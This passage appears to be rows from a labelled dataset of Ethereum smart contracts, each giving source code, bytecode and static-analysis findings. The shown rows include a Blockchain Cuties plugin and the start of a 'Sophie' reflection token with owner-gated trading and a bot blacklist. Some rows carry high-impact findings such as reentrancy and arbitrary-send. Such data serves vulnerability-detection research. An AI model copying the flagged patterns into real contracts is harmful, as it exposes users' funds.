0000000000000000000000000000000000000000000000008152600401610fe3906125fa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca919061204e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061268c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061271e565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906127b0565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112539190611f0e565b60405180910390fd5b506000838561126b91906127ff565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af612833565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f5612862565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190612310565b816001815181106113e4576113e3612862565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af95949392919061294f565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e90612a1b565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a12919061204e565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab09190611f0e565b60405180910390fd5b5060008385611ac89190612a6a565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612a9b565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd190612b3d565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612b5d565b9050828482611e2a9190612a6a565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6190612c29565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611eaf578082015181840152602081019050611e94565b83811115611ebe576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ee082611e75565b611eea8185611e80565b9350611efa818560208601611e91565b611f0381611ec4565b840191505092915050565b60006020820190508181036000830152611f288184611ed5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f6082611f35565b9050919050565b611f7081611f55565b8114611f7b57600080fd5b50565b600081359050611f8d81611f67565b92915050565b6000819050919050565b611fa681611f93565b8114611fb157600080fd5b50565b600081359050611fc381611f9d565b92915050565b60008060408385031215611fe057611fdf611f30565b5b6000611fee85828601611f7e565b9250506020611fff85828601611fb4565b9150509250929050565b60008115159050919050565b61201e81612009565b82525050565b60006020820190506120396000830184612015565b92915050565b61204881611f93565b82525050565b6000602082019050612063600083018461203f565b92915050565b60008060006060848603121561208257612081611f30565b5b600061209086828701611f7e565b93505060206120a186828701611f7e565b92505060406120b286828701611fb4565b9150509250925092565b600060ff82169050919050565b6120d2816120bc565b82525050565b60006020820190506120ed60008301846120c9565b92915050565b60006020828403121561210957612108611f30565b5b600061211784828501611fb4565b91505092915050565b60006020828403121561213657612135611f30565b5b600061214484828501611f7e565b91505092915050565b61215681611f55565b82525050565b6000602082019050612171600083018461214d565b92915050565b6000806040838503121561218e5761218d611f30565b5b600061219c85828601611f7e565b92505060206121ad85828601611f7e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121ed602083611e80565b91506121f8826121b7565b602082019050919050565b6000602082019050818103600083015261221c816121e0565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b6000612259601983611e80565b915061226482612223565b602082019050919050565b600060208201905081810360008301526122888161224c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122c5601783611e80565b91506122d08261228f565b602082019050919050565b600060208201905081810360008301526122f4816122b8565b9050919050565b60008151905061230a81611f67565b92915050565b60006020828403121561232657612325611f30565b5b6000612334848285016122fb565b91505092915050565b6000604082019050612352600083018561214d565b61235f602083018461214d565b9392505050565b6000819050919050565b6000819050919050565b600061239561239061238b84612366565b612370565b611f93565b9050919050565b6123a58161237a565b82525050565b600060c0820190506123c0600083018961214d565b6123cd602083018861203f565b6123da604083018761239c565b6123e7606083018661239c565b6123f4608083018561214d565b61240160a083018461203f565b979650505050505050565b60008151905061241b81611f9d565b92915050565b60008060006060848603121561243a57612439611f30565b5b60006124488682870161240c565b93505060206124598682870161240c565b925050604061246a8682870161240c565b9150509250925092565b6000604082019050612489600083018561214d565b612496602083018461203f565b9392505050565b6124a681612009565b81146124b157600080fd5b50565b6000815190506124c38161249d565b92915050565b6000602082840312156124df576124de611f30565b5b60006124ed848285016124b4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612552602483611e80565b915061255d826124f6565b604082019050919050565b6000602082019050818103600083015261258181612545565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125e4602283611e80565b91506125ef82612588565b604082019050919050565b60006020820190508181036000830152612613816125d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612676602583611e80565b91506126818261261a565b604082019050919050565b600060208201905081810360008301526126a581612669565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612708602383611e80565b9150612713826126ac565b604082019050919050565b60006020820190508181036000830152612737816126fb565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061279a602983611e80565b91506127a58261273e565b604082019050919050565b600060208201905081810360008301526127c98161278d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280a82611f93565b915061281583611f93565b925082821015612828576128276127d0565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6128c681611f55565b82525050565b60006128d883836128bd565b60208301905092915050565b6000602082019050919050565b60006128fc82612891565b612906818561289c565b9350612911836128ad565b8060005b8381101561294257815161292988826128cc565b9750612934836128e4565b925050600181019050612915565b5085935050505092915050565b600060a082019050612964600083018861203f565b612971602083018761239c565b818103604083015261298381866128f1565b9050612992606083018561214d565b61299f608083018461203f565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a05602a83611e80565b9150612a10826129a9565b604082019050919050565b60006020820190508181036000830152612a34816129f8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a7582611f93565b9150612a8083611f93565b925082612a9057612a8f612a3b565b5b828204905092915050565b6000612aa682611f93565b9150612ab183611f93565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ae657612ae56127d0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b27601b83611e80565b9150612b3282612af1565b602082019050919050565b60006020820190508181036000830152612b5681612b1a565b9050919050565b6000612b6882611f93565b9150612b7383611f93565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bac57612bab6127d0565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c13602183611e80565b9150612c1e82612bb7565b604082019050919050565b60006020820190508181036000830152612c4281612c06565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be7e98193d1328956be4553b3da069a556042b493a175140ed25756d568160f464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,938 |
0xed3c00a6c0da9a64c307719da5ce629c6ee66dfc | pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract PluginInterface
{
/// @dev simply a boolean to indicate this is the contract we expect to be
function isPluginInterface() public pure returns (bool);
function onRemove() public;
/// @dev Begins new feature.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
/// @param _seller - Old owner, if not the message sender
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
/// @dev Begins new feature, approved and signed by COO.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
// Reference to contract tracking NFT ownership
CutieCoreInterface public coreContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint16 public ownerFee;
// @dev Throws if called by any account other than the owner.
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _coreAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _fee - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
// @dev Set the owner's fee.
// @param fee should be between 0-10,000.
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _cutieId - ID of token whose ownership to verify.
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _cutieId - ID of token whose approval to verify.
function _escrow(address _owner, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transferFrom(_owner, this, _cutieId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _cutieId - ID of token to transfer.
function _transfer(address _receiver, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transfer(_receiver, _cutieId);
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint128 _price) internal view returns (uint128) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
}
/// @title Item effect for Blockchain Cuties
/// @author https://BlockChainArchitect.io
contract GenerationDecreaseEffect is CutiePluginBase
{
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address /*_owner*/
)
external
onlyCore
whenNotPaused
payable
{
uint16 generation = coreContract.getGeneration(_cutieId);
require(generation > 0);
if (generation > _parameter)
{
generation -= uint16(_parameter);
}
else
{
generation = 0;
}
coreContract.changeGeneration(_cutieId, generation);
}
} | 0x6060604052600436106100b65763ffffffff60e060020a6000350416631195236981146100bb5780633ccfd60b146100d05780633f4ba83a146100e35780635c975abb146100f65780638456cb591461011d5780638da5cb5b146101305780638e0055531461015f57806394a89233146101795780639652713e1461018c578063a055d455146101ad578063d5b2a01a146101ce578063e410a0c6146101f8578063e80db5db1461021e578063f2fde38b14610231575b600080fd5b34156100c657600080fd5b6100ce610250565b005b34156100db57600080fd5b6100ce610275565b34156100ee57600080fd5b6100ce6102f7565b341561010157600080fd5b610109610376565b604051901515815260200160405180910390f35b341561012857600080fd5b6100ce610386565b341561013b57600080fd5b61014361040a565b604051600160a060020a03909116815260200160405180910390f35b341561016a57600080fd5b6100ce61ffff60043516610419565b341561018457600080fd5b61010961047a565b6100ce64ffffffffff60043516602435600160a060020a036044351661047f565b6100ce64ffffffffff60043516602435600160a060020a03604435166105b1565b34156101d957600080fd5b6101e16105cc565b60405161ffff909116815260200160405180910390f35b341561020357600080fd5b6100ce600160a060020a036004351661ffff602435166105dd565b341561022957600080fd5b6101436106ca565b341561023c57600080fd5b6100ce600160a060020a03600435166106d9565b60015433600160a060020a0390811691161461026b57600080fd5b610273610275565b565b60005433600160a060020a03908116911614806102a0575060015433600160a060020a039081169116145b15156102ab57600080fd5b600030600160a060020a031631111561027357600154600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561027357600080fd5b60005433600160a060020a0390811691161461031257600080fd5b60005460a060020a900460ff16151561032a57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005460a060020a900460ff1681565b60005433600160a060020a039081169116146103a157600080fd5b60005460a060020a900460ff16156103b857600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b61271061ffff8216111561042c57600080fd5b60005433600160a060020a0390811691161461044757600080fd5b6001805461ffff90921660a060020a0275ffff000000000000000000000000000000000000000019909216919091179055565b600190565b60015460009033600160a060020a0390811691161461049d57600080fd5b60005460a060020a900460ff16156104b457600080fd5b600154600160a060020a0316639c91ae208560405160e060020a63ffffffff841602815264ffffffffff9091166004820152602401602060405180830381600087803b151561050257600080fd5b5af1151561050f57600080fd5b5050506040518051915050600061ffff82161161052b57600080fd5b828161ffff16111561053f57829003610543565b5060005b600154600160a060020a0316635a3f88f0858360405160e060020a63ffffffff851602815264ffffffffff909216600483015261ffff166024820152604401600060405180830381600087803b151561059b57600080fd5b5af115156105a857600080fd5b50505050505050565b60015433600160a060020a039081169116146100b657600080fd5b60015460a060020a900461ffff1681565b600061271061ffff831611156105f257600080fd5b60005433600160a060020a0390811691161461060d57600080fd5b506001805475ffff0000000000000000000000000000000000000000191660a060020a61ffff84160217905581600160a060020a038116634d6a813a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561067757600080fd5b5af1151561068457600080fd5b50505060405180519050151561069957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555050565b600154600160a060020a031681565b60005433600160a060020a039081169116146106f457600080fd5b600160a060020a038116151561070957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582048f8a2f83b498d999bbf4ad77fa6de281ffb165b7e3c4df702de46e3c08bfe920029 | {"success": true, "error": null, "results": {}} | 1,939 |
0x1c1f2814fbda5209627ca1ecba187979aa787bbb | /**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/**
https://t.me/+NYw8_A5h_no2OGEL
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Sophie is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sophie";
string private constant _symbol = "XEON";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3e33f7D832d6138133058863dF33c764d21c3b1a);
address payable private _marketingAddress = payable(0x3e33f7D832d6138133058863dF33c764d21c3b1a);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
